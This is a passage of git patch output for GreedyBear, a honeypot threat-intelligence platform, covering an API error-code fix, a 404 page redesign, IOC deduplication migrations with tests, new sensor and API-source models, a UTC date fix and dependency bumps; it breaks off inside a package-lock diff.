From ce4c69f6ad45123fea748e11d4c401f7617ad618 Mon Sep 17 00:00:00 2001 From: Ricardo Macedo Date: Thu, 21 May 2026 20:20:38 +0100 Subject: [PATCH 001/131] fix(api): return 400 Bad Request for unknown statistics pk values (#1357) --- api/views/statistics.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/api/views/statistics.py b/api/views/statistics.py index bbcdb017a..bdab1d817 100644 --- a/api/views/statistics.py +++ b/api/views/statistics.py @@ -5,7 +5,7 @@ from certego_saas.ext.helpers import parse_humanized_range from django.db.models import Count, Q from django.db.models.functions import Trunc -from django.http import HttpResponseServerError +from django.http import HttpResponseBadRequest from rest_framework import viewsets from rest_framework.decorators import action from rest_framework.response import Response @@ -46,8 +46,8 @@ def feeds(self, request, pk=None): elif pk == "downloads": annotations = {"Downloads": Count("source", filter=Q(view=ViewType.FEEDS_VIEW.value))} else: - logger.error("this is impossible. check the code") - return HttpResponseServerError() + logger.error(f"Invalid pk provided for feeds: {pk}") + return HttpResponseBadRequest() return self.__aggregation_response_static_statistics(annotations) @action(detail=True, methods=["get"]) @@ -73,8 +73,8 @@ def enrichment(self, request, pk=None): elif pk == "requests": annotations = {"Requests": Count("source", filter=Q(view=ViewType.ENRICHMENT_VIEW.value))} else: - logger.error("this is impossible. check the code") - return HttpResponseServerError() + logger.error(f"Invalid pk provided for enrichment: {pk}") + return HttpResponseBadRequest() return self.__aggregation_response_static_statistics(annotations) @action(detail=False, methods=["get"]) From 8443fa6a8cfbafb122120b66f7ca316be014f39c Mon Sep 17 00:00:00 2001 From: suvani-ctrl Date: Sun, 24 May 2026 12:30:19 +0545 Subject: [PATCH 002/131] Fix/1351 improve 404 page (#1361) * Improve 404 NotFoundPage UI and show failed path. Closes #1351 * Improve 404 NotFoundPage UI and show failed path. Closes #1351 --- frontend/src/layouts/NotFoundPage.jsx | 46 +++++++++++++++++++++------ 1 file changed, 36 insertions(+), 10 deletions(-) diff --git a/frontend/src/layouts/NotFoundPage.jsx b/frontend/src/layouts/NotFoundPage.jsx index 9ffcddd9b..b4672e86b 100644 --- a/frontend/src/layouts/NotFoundPage.jsx +++ b/frontend/src/layouts/NotFoundPage.jsx @@ -1,18 +1,44 @@ import React from "react"; import { Link } from "react-router-dom"; -import { Container } from "reactstrap"; +import { ButtonGroup, Container, Button } from "reactstrap"; +import { useLocation } from "react-router"; function NotFoundPage() { - console.debug("NotFoundPage rendered!"); - + const location = useLocation(); return ( - -

Page not found

-
- - Go back to Home Page? - -
+ +

404

+

Page Not Found

+ +

+ The requested path{" "} + + {location.pathname} + {" "} + does not exist or has been moved. +

+ +
+

Return to

+ + + + + + +
); } From c5cdec1e5f7a4b3dd9483141879c52e8e3c917f6 Mon Sep 17 00:00:00 2001 From: cclts <110119346+cclts@users.noreply.github.com> Date: Mon, 25 May 2026 00:35:02 -0500 Subject: [PATCH 003/131] Deduplicate IOC identities and enforce uniqueness. Closes #1240 (#1344) * deduplicate_ioc_identity_and_add_constraint * add migration test * update comment * IOC unique constraint becomes name only, and switch to db-side dedupe * Simplify model --------- Co-authored-by: tim <46972822+regulartim@users.noreply.github.com> --- ...plicate_ioc_identity_and_add_constraint.py | 37 +++++++++ greedybear/models.py | 3 +- tests/test_migrations.py | 78 +++++++++++++++++++ 3 files changed, 116 insertions(+), 2 deletions(-) create mode 100644 greedybear/migrations/0053_deduplicate_ioc_identity_and_add_constraint.py diff --git a/greedybear/migrations/0053_deduplicate_ioc_identity_and_add_constraint.py b/greedybear/migrations/0053_deduplicate_ioc_identity_and_add_constraint.py new file mode 100644 index 000000000..6ed906533 --- /dev/null +++ b/greedybear/migrations/0053_deduplicate_ioc_identity_and_add_constraint.py @@ -0,0 +1,37 @@ +from django.db import migrations, models +from django.db.models import Subquery + + +def deduplicate_ioc_identity(apps, schema_editor): + IOC = apps.get_model("greedybear", "IOC") + + keepers = ( + IOC.objects.order_by("name", "-attack_count", "-id") + .distinct("name") + .values("id") + ) + + IOC.objects.exclude(id__in=Subquery(keepers)).delete() + + +class Migration(migrations.Migration): + atomic = False + + dependencies = [ + ("greedybear", "0052_ioc_attacker_country_code_idx"), + ] + + operations = [ + migrations.RunPython(deduplicate_ioc_identity, migrations.RunPython.noop), + migrations.AlterField( + model_name='ioc', + name='name', + field=models.CharField(max_length=256, unique=True), + ), + # Explicit index is duplicate now + # because unique=True implies the creation of an index + migrations.RemoveIndex( + model_name='ioc', + name='greedybear__name_b54897_idx', + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index 8aa517510..8421d3cae 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -71,7 +71,7 @@ def __str__(self): class IOC(models.Model): - name = models.CharField(max_length=256) + name = models.CharField(max_length=256, unique=True) type = models.CharField(max_length=32, choices=IocType.choices) first_seen = models.DateTimeField(db_default=Now()) last_seen = models.DateTimeField(db_default=Now()) @@ -114,7 +114,6 @@ class IOC(models.Model): class Meta: indexes = [ - models.Index(fields=["name"]), models.Index(fields=["attacker_country"]), models.Index(fields=["attacker_country_code"]), ] diff --git a/tests/test_migrations.py b/tests/test_migrations.py index 8d5b4fc73..2e18765ee 100644 --- a/tests/test_migrations.py +++ b/tests/test_migrations.py @@ -261,3 +261,81 @@ def test_existing_sensors_get_empty_label(self): sensor_new = new_state.apps.get_model(self.app_name, "Sensor") migrated = sensor_new.objects.get(address="10.0.0.1") self.assertEqual(migrated.label, "") + + +@tag("migration") +class TestIocIdentityDeduplication(MigrationTestCase): + """Tests IOC deduplication before enforcing the identity uniqueness constraint.""" + + migrate_from = "0052_ioc_attacker_country_code_idx" + migrate_to = "0053_deduplicate_ioc_identity_and_add_constraint" + + def test_keeps_ioc_with_highest_attack_count(self): + IOC = self.old_state.apps.get_model(self.app_name, "IOC") + + kept_candidate = IOC.objects.create(name="1.2.3.4", type="ip", attack_count=9) + IOC.objects.create(name="1.2.3.4", type="ip", attack_count=3) + IOC.objects.create(name="1.2.3.4", type="ip", attack_count=1) + + new_state = self.apply_tested_migration() + ioc_new = new_state.apps.get_model(self.app_name, "IOC") + + remaining = list(ioc_new.objects.filter(name="1.2.3.4")) + self.assertEqual(len(remaining), 1) + self.assertEqual(remaining[0].id, kept_candidate.id) + self.assertEqual(remaining[0].attack_count, 9) + + def test_keeps_latest_id_when_attack_count_ties(self): + IOC = self.old_state.apps.get_model(self.app_name, "IOC") + + older = IOC.objects.create(name="dup.example", type="domain", attack_count=7) + newer = IOC.objects.create(name="dup.example", type="domain", attack_count=7) + + new_state = self.apply_tested_migration() + ioc_new = new_state.apps.get_model(self.app_name, "IOC") + + remaining = list(ioc_new.objects.filter(name="dup.example")) + self.assertEqual(len(remaining), 1) + self.assertEqual(remaining[0].id, newer.id) + self.assertNotEqual(remaining[0].id, older.id) + + def test_deduplicates_across_types_when_name_matches(self): + IOC = self.old_state.apps.get_model(self.app_name, "IOC") + + kept = IOC.objects.create(name="shared-value", type="ip", attack_count=5) + IOC.objects.create(name="shared-value", type="ip", attack_count=2) + IOC.objects.create(name="shared-value", type="domain", attack_count=4) + + new_state = self.apply_tested_migration() + ioc_new = new_state.apps.get_model(self.app_name, "IOC") + + remaining = list(ioc_new.objects.filter(name="shared-value")) + self.assertEqual(len(remaining), 1) + self.assertEqual(remaining[0].id, kept.id) + self.assertEqual(remaining[0].type, "ip") + + def test_unique_constraint_is_enforced_after_migration(self): + IOC = self.old_state.apps.get_model(self.app_name, "IOC") + IOC.objects.create(name="constraint-check", type="url", attack_count=4) + + new_state = self.apply_tested_migration() + ioc_new = new_state.apps.get_model(self.app_name, "IOC") + + with self.assertRaises(IntegrityError): + ioc_new.objects.create(name="constraint-check", type="url", attack_count=1) + + with self.assertRaises(IntegrityError): + ioc_new.objects.create(name="constraint-check", type="domain", attack_count=1) + + def test_keeps_distinct_names(self): + IOC = self.old_state.apps.get_model(self.app_name, "IOC") + + first = IOC.objects.create(name="1.2.3.4", type="ip", attack_count=9) + second = IOC.objects.create(name="example.com", type="domain", attack_count=3) + + new_state = self.apply_tested_migration() + ioc_new = new_state.apps.get_model(self.app_name, "IOC") + + self.assertTrue(ioc_new.objects.filter(id=first.id).exists()) + self.assertTrue(ioc_new.objects.filter(id=second.id).exists()) + self.assertEqual(ioc_new.objects.count(), 2) From 3be13a3308fc182b159200f86160d5b6c496153f Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Mon, 25 May 2026 07:40:36 +0200 Subject: [PATCH 004/131] Make pending migration --- ...greedybear__bucket__2b228d_idx_and_more.py | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 greedybear/migrations/0054_rename_greedybear__bucket__ce4aaf_idx_greedybear__bucket__2b228d_idx_and_more.py diff --git a/greedybear/migrations/0054_rename_greedybear__bucket__ce4aaf_idx_greedybear__bucket__2b228d_idx_and_more.py b/greedybear/migrations/0054_rename_greedybear__bucket__ce4aaf_idx_greedybear__bucket__2b228d_idx_and_more.py new file mode 100644 index 000000000..54a25fb29 --- /dev/null +++ b/greedybear/migrations/0054_rename_greedybear__bucket__ce4aaf_idx_greedybear__bucket__2b228d_idx_and_more.py @@ -0,0 +1,28 @@ +# Generated by Django 5.2.14 on 2026-05-25 05:38 + +from django.db import migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ('greedybear', '0053_deduplicate_ioc_identity_and_add_constraint'), + ] + + operations = [ + migrations.RenameIndex( + model_name='attackeractivitybucket', + new_name='greedybear__bucket__2b228d_idx', + old_name='greedybear__bucket__ce4aaf_idx', + ), + migrations.RenameIndex( + model_name='attackeractivitybucket', + new_name='greedybear__feed_ty_07027f_idx', + old_name='greedybear__feed_ty_84e90b_idx', + ), + migrations.RenameIndex( + model_name='attackeractivitybucket', + new_name='greedybear__attacke_963f74_idx', + old_name='greedybear__attacke_910f2f_idx', + ), + ] From a55edc42de403d59d529818ebba087d72e314671 Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Tue, 26 May 2026 14:11:08 +0545 Subject: [PATCH 005/131] feat: add APISource model and extend Sensor model with admin view. Closes #1358 (#1364) * feat: update sensorand created apisource model Signed-off-by: Drona Raj Gyawali * refactor code Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- greedybear/admin.py | 29 ++++++- ...omous_system_sensor_created_at_and_more.py | 76 +++++++++++++++++++ greedybear/models.py | 51 +++++++++++-- 3 files changed, 145 insertions(+), 11 deletions(-) create mode 100644 greedybear/migrations/0055_sensor_autonomous_system_sensor_created_at_and_more.py diff --git a/greedybear/admin.py b/greedybear/admin.py index 5df8d9573..4f4bee588 100644 --- a/greedybear/admin.py +++ b/greedybear/admin.py @@ -8,6 +8,7 @@ from greedybear.models import ( IOC, + APISource, AttackerActivityBucket, CommandSequence, CowrieSession, @@ -34,10 +35,23 @@ class TorExitNodeModelAdmin(admin.ModelAdmin): @admin.register(Sensor) class SensorsModelAdmin(admin.ModelAdmin): - list_display = ["id", "address", "country", "label"] + list_display = [ + "id", + "address", + "country", + "label", + "honeypot_type", + "honeypot_software", + "group_label", + "source_type", + "api_source", + "autonomous_system", + ] + list_filter = ["source_type", "honeypot_type"] list_editable = ["label"] - search_fields = ["address", "label"] - search_help_text = "search for the sensor IP address or label" + search_fields = ["address", "label", "group_label"] + search_help_text = "search by sensor IP, label, or group" + readonly_fields = ["created_at", "updated_at"] @admin.register(Statistics) @@ -242,3 +256,12 @@ def enable_honeypot(self, request, queryset): % number_updated, messages.SUCCESS, ) + + +@admin.register(APISource) +class APISourceModelAdmin(admin.ModelAdmin): + list_display = ["name", "user", "is_active", "invalid_event_count", "created_at", "last_activity"] + list_filter = ["is_active"] + search_fields = ["name", "user__username"] + search_help_text = "search by source name or username" + readonly_fields = ["created_at", "last_activity", "invalid_event_count"] diff --git a/greedybear/migrations/0055_sensor_autonomous_system_sensor_created_at_and_more.py b/greedybear/migrations/0055_sensor_autonomous_system_sensor_created_at_and_more.py new file mode 100644 index 000000000..5625e771a --- /dev/null +++ b/greedybear/migrations/0055_sensor_autonomous_system_sensor_created_at_and_more.py @@ -0,0 +1,76 @@ +# Generated by Django 5.2.13 on 2026-05-25 06:29 + +import django.db.models.deletion +import django.utils.timezone +from django.conf import settings +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('greedybear', '0054_rename_greedybear__bucket__ce4aaf_idx_greedybear__bucket__2b228d_idx_and_more'), + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.AddField( + model_name='sensor', + name='autonomous_system', + field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='sensors', to='greedybear.autonomoussystem'), + ), + migrations.AddField( + model_name='sensor', + name='created_at', + field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now), + preserve_default=False, + ), + migrations.AddField( + model_name='sensor', + name='group_label', + field=models.CharField(blank=True, default='', max_length=128), + ), + migrations.AddField( + model_name='sensor', + name='honeypot_description', + field=models.TextField(blank=True, default=''), + ), + migrations.AddField( + model_name='sensor', + name='honeypot_software', + field=models.CharField(blank=True, default='', max_length=100), + ), + migrations.AddField( + model_name='sensor', + name='honeypot_type', + field=models.CharField(blank=True, default='', max_length=100), + ), + migrations.AddField( + model_name='sensor', + name='source_type', + field=models.CharField(choices=[('tpot', 'T-Pot Internal'), ('external', 'External API')], default='tpot', max_length=16), + ), + migrations.AddField( + model_name='sensor', + name='updated_at', + field=models.DateTimeField(auto_now=True), + ), + migrations.CreateModel( + name='APISource', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('name', models.CharField(max_length=128, unique=True)), + ('description', models.TextField(blank=True)), + ('is_active', models.BooleanField(default=True)), + ('invalid_event_count', models.PositiveIntegerField(default=0)), + ('created_at', models.DateTimeField(auto_now_add=True)), + ('last_activity', models.DateTimeField(auto_now=True)), + ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='api_source', to=settings.AUTH_USER_MODEL)), + ], + ), + migrations.AddField( + model_name='sensor', + name='api_source', + field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='sensors', to='greedybear.apisource'), + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index 8421d3cae..95d745ad4 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -5,6 +5,7 @@ from django.db.models.functions import Lower, Now from greedybear.enums import IpReputation +from greedybear.settings import AUTH_USER_MODEL class ViewType(models.TextChoices): @@ -19,6 +20,32 @@ class IocType(models.TextChoices): DOMAIN = "domain" +class SourceType(models.TextChoices): + TPOT = "tpot", "T-Pot Internal" + EXTERNAL = "external", "External API" + + +class APISource(models.Model): + user = models.OneToOneField(AUTH_USER_MODEL, on_delete=models.CASCADE, related_name="api_source") + name = models.CharField(max_length=128, unique=True) + description = models.TextField(blank=True) + is_active = models.BooleanField(default=True) + invalid_event_count = models.PositiveIntegerField(default=0) + created_at = models.DateTimeField(auto_now_add=True) + last_activity = models.DateTimeField(auto_now=True) + + def __str__(self): + return f"{self.name} {'Active' if self.is_active else 'Locked'}" + + +class AutonomousSystem(models.Model): + asn = models.IntegerField(primary_key=True) + name = models.CharField(max_length=256, blank=True) + + def __str__(self): + return f"{self.name} ({self.asn})" if self.name else str(self.asn) + + class Sensor(models.Model): address = models.GenericIPAddressField(unique=True) country = models.CharField( @@ -32,6 +59,22 @@ class Sensor(models.Model): default="", help_text="Optional human-readable label to identify this sensor (e.g. 'home-pi', 'cloud-aws-eu').", ) + honeypot_type = models.CharField(max_length=100, blank=True, default="") + honeypot_software = models.CharField(max_length=100, blank=True, default="") + honeypot_description = models.TextField(blank=True, default="") + group_label = models.CharField(max_length=128, blank=True, default="") + + autonomous_system = models.ForeignKey(AutonomousSystem, on_delete=models.SET_NULL, related_name="sensors", null=True, blank=True) + + api_source = models.ForeignKey(APISource, on_delete=models.SET_NULL, related_name="sensors", null=True, blank=True) + + source_type = models.CharField( + max_length=16, + choices=SourceType.choices, + default=SourceType.TPOT, + ) + created_at = models.DateTimeField(auto_now_add=True) + updated_at = models.DateTimeField(auto_now=True) def __str__(self): return f"{self.address} ({self.label})" if self.label else self.address @@ -62,14 +105,6 @@ def __str__(self): return f"{self.ip_address} ({self.source or 'unknown'})" -class AutonomousSystem(models.Model): - asn = models.IntegerField(primary_key=True) - name = models.CharField(max_length=256, blank=True) - - def __str__(self): - return f"{self.name} ({self.asn})" if self.name else str(self.asn) - - class IOC(models.Model): name = models.CharField(max_length=256, unique=True) type = models.CharField(max_length=32, choices=IocType.choices) From 8784b2d42cd72a35207574dfa1e7d9a8f1d45a8e Mon Sep 17 00:00:00 2001 From: suvani-ctrl Date: Tue, 26 May 2026 14:17:14 +0545 Subject: [PATCH 006/131] fix(news-widget): enforce strict UTC date parsing to prevent timezone overrides (#1366) --- frontend/src/components/home/NewsWidget.jsx | 12 ++++++--- .../tests/components/home/NewsWidget.test.jsx | 27 ++++++++++++++++++- 2 files changed, 34 insertions(+), 5 deletions(-) diff --git a/frontend/src/components/home/NewsWidget.jsx b/frontend/src/components/home/NewsWidget.jsx index 376948d72..4e8629eab 100644 --- a/frontend/src/components/home/NewsWidget.jsx +++ b/frontend/src/components/home/NewsWidget.jsx @@ -12,11 +12,14 @@ export const NewsWidget = React.memo(() => { if (!dateStr) return ""; const date = new Date(dateStr); - if (isNaN(date.getTime())) return dateStr; + if (isNaN(date.getTime())) return String(dateStr); - const day = date.getDate(); - const month = date.toLocaleDateString("en-US", { month: "short" }); - const year = date.getFullYear(); + const day = date.getUTCDate(); + const month = date.toLocaleDateString("en-US", { + month: "short", + timeZone: "UTC", + }); + const year = date.getUTCFullYear(); const ordinals = ["th", "st", "nd", "rd"]; const v = day % 100; @@ -33,6 +36,7 @@ export const NewsWidget = React.memo(() => { } return response.json(); }) + .then(setData) .catch((err) => { console.error("Error fetching news:", err); diff --git a/frontend/tests/components/home/NewsWidget.test.jsx b/frontend/tests/components/home/NewsWidget.test.jsx index cb14b4a53..b8f350840 100644 --- a/frontend/tests/components/home/NewsWidget.test.jsx +++ b/frontend/tests/components/home/NewsWidget.test.jsx @@ -20,7 +20,6 @@ describe("NewsWidget", () => { fetch.mockImplementation(() => new Promise(() => {})); render(); - expect(screen.getByText("Loading news...")).toBeInTheDocument(); expect(screen.getByRole("status")).toBeInTheDocument(); }); @@ -156,6 +155,32 @@ describe("NewsWidget", () => { }); describe("Date Formatting", () => { + it("should format date correctly in non-utc timezones", async () => { + const originalTZ = process.env.TZ; + process.env.TZ = "America/Los_Angeles"; + + try { + const mockNewsDataUTC = [ + { + date: "2024-01-01", + title: "updated_timezone", + subtext: "Testing for utc formating", + link: "L1_utc", + }, + ]; + fetch.mockResolvedValueOnce({ + ok: true, + json: async () => mockNewsDataUTC, + }); + render(); + + const dateElement = await screen.findByText("1st Jan 2024"); + expect(dateElement).toBeInTheDocument(); + expect(screen.queryByText("31st Dec 2023")).not.toBeInTheDocument(); + } finally { + process.env.TZ = originalTZ; + } + }); it("should format date correctly with ordinal suffix", async () => { const mockNewsData = [ { date: "2024-01-01", title: "N1", subtext: "T", link: "L1" }, From 9325aa46ddae78847b2691f3ab3ba9b04d820f1b Mon Sep 17 00:00:00 2001 From: cclts <110119346+cclts@users.noreply.github.com> Date: Wed, 27 May 2026 01:10:38 -0500 Subject: [PATCH 007/131] IOC feed index tuning. Closes #1368 (#1370) --- ...n_index_and_drop_attacker_country_index.py | 21 +++++++++++++++++++ greedybear/models.py | 2 +- 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 greedybear/migrations/0056_ioc_last_seen_index_and_drop_attacker_country_index.py diff --git a/greedybear/migrations/0056_ioc_last_seen_index_and_drop_attacker_country_index.py b/greedybear/migrations/0056_ioc_last_seen_index_and_drop_attacker_country_index.py new file mode 100644 index 000000000..66d484710 --- /dev/null +++ b/greedybear/migrations/0056_ioc_last_seen_index_and_drop_attacker_country_index.py @@ -0,0 +1,21 @@ +# Generated by Django 5.2.13 on 2026-05-26 00:00 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ("greedybear", "0055_sensor_autonomous_system_sensor_created_at_and_more"), + ] + + operations = [ + migrations.RemoveIndex( + model_name="ioc", + name="greedybear__attacke_2b9c7d_idx", + ), + migrations.AddIndex( + model_name="ioc", + index=models.Index(fields=["last_seen"], name="greedybear_ioc_last_seen_idx"), + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index 95d745ad4..b5180f762 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -149,7 +149,7 @@ class IOC(models.Model): class Meta: indexes = [ - models.Index(fields=["attacker_country"]), + models.Index(fields=["last_seen"]), models.Index(fields=["attacker_country_code"]), ] From 9778627b19e22bea6aa48630986004e9f45cb45c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:41:06 +0200 Subject: [PATCH 008/131] build(deps): bump library/nginx in /docker (#1371) Bumps library/nginx from 1.31.0-alpine to 1.31.1-alpine. --- updated-dependencies: - dependency-name: library/nginx dependency-version: 1.31.1-alpine dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/Dockerfile_nginx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/Dockerfile_nginx b/docker/Dockerfile_nginx index b0c80e099..46b02eb5b 100644 --- a/docker/Dockerfile_nginx +++ b/docker/Dockerfile_nginx @@ -1,4 +1,4 @@ -FROM library/nginx:1.31.0-alpine +FROM library/nginx:1.31.1-alpine ENV NGINX_LOG_DIR=/var/log/nginx From 005ff08f43afcbd3d72adc7d05dfe6ff4d539960 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:41:23 +0200 Subject: [PATCH 009/131] build(deps-dev): bump @vitest/coverage-v8 in /frontend (#1372) Bumps [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) from 4.1.6 to 4.1.7. - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.7/packages/coverage-v8) --- updated-dependencies: - dependency-name: "@vitest/coverage-v8" dependency-version: 4.1.7 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 120 ++++++++++++++++--------------------- frontend/package.json | 2 +- 2 files changed, 52 insertions(+), 70 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 3275c1d8d..c4e117099 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -31,7 +31,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.6", + "@vitest/coverage-v8": "^4.1.7", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", @@ -1558,9 +1558,6 @@ "arm64" ], "dev": true, - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1578,9 +1575,6 @@ "arm64" ], "dev": true, - "libc": [ - "musl" - ], "license": "MIT", "optional": true, "os": [ @@ -1598,9 +1592,6 @@ "ppc64" ], "dev": true, - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1618,9 +1609,6 @@ "s390x" ], "dev": true, - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1638,9 +1626,6 @@ "x64" ], "dev": true, - "libc": [ - "glibc" - ], "license": "MIT", "optional": true, "os": [ @@ -1658,9 +1643,6 @@ "x64" ], "dev": true, - "libc": [ - "musl" - ], "license": "MIT", "optional": true, "os": [ @@ -2091,14 +2073,14 @@ } }, "node_modules/@vitest/coverage-v8": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.6.tgz", - "integrity": "sha512-36l628fQ/9a/8ihy97eOtEnvWQEdqULQOJtcaxtoNq0G1w3Mxd4szSahOaMM9/NGyZ+hyKcMtIW/WIxq0XQViQ==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.7.tgz", + "integrity": "sha512-qsYPeXc5Q9dFLd1i8Ap+Bx8sQgcp+rFVQo4R0dDsWNBzl26ldVF1qOO+RL24K7FDrR6pA+50XedRLSoSG24bVQ==", "dev": true, "license": "MIT", "dependencies": { "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.6", + "@vitest/utils": "4.1.7", "ast-v8-to-istanbul": "^1.0.0", "istanbul-lib-coverage": "^3.2.2", "istanbul-lib-report": "^3.0.1", @@ -2112,8 +2094,8 @@ "url": "https://opencollective.com/vitest" }, "peerDependencies": { - "@vitest/browser": "4.1.6", - "vitest": "4.1.6" + "@vitest/browser": "4.1.7", + "vitest": "4.1.7" }, "peerDependenciesMeta": { "@vitest/browser": { @@ -2122,16 +2104,16 @@ } }, "node_modules/@vitest/expect": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.6.tgz", - "integrity": "sha512-7EHDquPthALSV0jhhjgEW8FXaviMx7rSqu8W6oqCoAuOhKov814P99QDV1pxMA3QPv21YudvJngIhjrNI4opLg==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.7.tgz", + "integrity": "sha512-1R+tw0ortHEbZDGMymm+pN7/AFQ/RkFFdtd7EN+VBpynKmLbP8A3rpEXdshBJ7+8hQ9zBJh/i1s0yKNtxAnU7w==", "dev": true, "license": "MIT", "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.6", - "@vitest/utils": "4.1.6", + "@vitest/spy": "4.1.7", + "@vitest/utils": "4.1.7", "chai": "^6.2.2", "tinyrainbow": "^3.1.0" }, @@ -2140,13 +2122,13 @@ } }, "node_modules/@vitest/mocker": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.6.tgz", - "integrity": "sha512-MCFc63czMjEInOlcY2cpQCvCN+KgbAn+60xu9cMgP4sKaLC5JNAKw7JH8QdAnoAC88hW1IiSNZ+GgVXlN1UcMQ==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.7.tgz", + "integrity": "sha512-vY7nuamKgfvpA1Koa3oYIw/k7D6kZnpGyNMZW8loow2bsBYla1TFdqTaXncWdRn4pgwNs+90RhnXhJScDwQeJA==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/spy": "4.1.6", + "@vitest/spy": "4.1.7", "estree-walker": "^3.0.3", "magic-string": "^0.30.21" }, @@ -2167,9 +2149,9 @@ } }, "node_modules/@vitest/pretty-format": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.6.tgz", - "integrity": "sha512-h5SxD/IzNhZYnrSZRsUZQIC+vD0GY8cUvq0iwsmkFKixRCKLLWqCXa/FIQ4S1R+sI+PGoojkHsdNrbZiM9Qpgw==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.7.tgz", + "integrity": "sha512-umgCarTOYQWIaDMvGDRZij+6b9oVeLIyJzfN+AS88e0ZOU3QTgNNSTtjQOpcvWr3np1N0j4WgZj+sb3oYBDscw==", "dev": true, "license": "MIT", "dependencies": { @@ -2180,13 +2162,13 @@ } }, "node_modules/@vitest/runner": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.6.tgz", - "integrity": "sha512-nOPCmn2+yD0ZNmKdsXGv/UxMMWbMuKeD6GyYncNwdkYDxpQvrPSKYj2rWuDjC2Y4b6w6hjip5dBKFzEUuZe3vA==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.7.tgz", + "integrity": "sha512-BapjmAQ2aI78WdMEfeUWivnfVzB+VPGwWRQcJE0OUq7qEeEcBsCSf+0T5iREBNE5nBb4wA5Ya0W6IA+sghdEFw==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/utils": "4.1.6", + "@vitest/utils": "4.1.7", "pathe": "^2.0.3" }, "funding": { @@ -2194,14 +2176,14 @@ } }, "node_modules/@vitest/snapshot": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.6.tgz", - "integrity": "sha512-YhsdE6xAVfTDmzjxL2ZDUvjj+ZsgyOKe+TdQzqkD72wIOmHka8NuGQ6NpTNZv9D2Z63fbwWKJPeVpEw4EQgYxw==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.7.tgz", + "integrity": "sha512-ZacLzja+TmJeZ1h14xW2FB/WpeimUD3haBXQPyJqxvo8jQTmfeA8zv58mtjN2C7EHXZDYVcVYdYmAxjkWVvKCw==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.6", - "@vitest/utils": "4.1.6", + "@vitest/pretty-format": "4.1.7", + "@vitest/utils": "4.1.7", "magic-string": "^0.30.21", "pathe": "^2.0.3" }, @@ -2210,9 +2192,9 @@ } }, "node_modules/@vitest/spy": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.6.tgz", - 